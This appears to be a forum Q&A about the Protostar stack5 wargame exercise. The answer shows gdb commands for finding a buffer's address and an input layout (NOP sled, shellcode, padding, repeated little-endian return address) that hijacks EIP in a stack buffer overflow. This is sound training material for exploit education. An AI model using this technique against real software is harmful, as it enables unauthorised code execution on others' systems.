Problem finding return address for shellcode

Question

Howdy guys and ghouls,

I've got a classic b0f, in fact it's the protostar stack5 exercise

link to stack5 code

Now I have the buffer + shellcode running up to overwriting EIP and I need to provide the address to overflow EIP. What's the right way of deducing the return address? I've tried ESP - len(shellcode) but this doesn't seem to work.

How do you go about calculating the right return address (the more precise the better)?

GDB related examples appreciated.

Answer 1

Nothing easier than that. gdb the executable, set a breakpoint at main, have gdb print your buffer.

$ gdb /opt/protostar/bin/stack5
(gdb) break main
Breakpoint 1 at 0x80483cd: file stack5/stack5.c, line 10.
(gdb) run
Starting program: /tmp/stack5 

Breakpoint 1, main (argc=1, argv=0xffffd674) at stack5/stack5.c:10
10  stack5/stack5.c: No such file or directory.
(gdb) print &buffer
$1 = (char (*)[64]) 0xbffff838
(gdb) 

So, if your shellcode starts at byte 0 of the buffer, you want to overwrite the saved EIP on the stack with 0xbffff838.

In fact, to make your exploit independent from small changes in the program (one more local variable, or one less ...) i'd fill the buffer with 32 nops (0x90) and put my shellcode behind those nops. This still leaves you with 32 bytes for the shellcode, which should be plenty. Then, jump to 0xbffff848 which is 16 bytes into the nops, and shifting them around by a few bytes won't hurt you anymore.

At the end, instead of calculating how many bytes between the end of the buffer and the saved EIP, i'd just repeat the buffer address a few times, so you can be sure EIP gets overwritten; you don't really care about whatever else is there.

So to sum it up, your input should be

0x90 (32 times)
your shellcode
as many 0x90's as you need to fill the buffer to 64 bytes
0x48 0xf8 0xff 0xbf  repeated about 10 times.

Remember to swap the EIP bytes because we're on a little endian machine.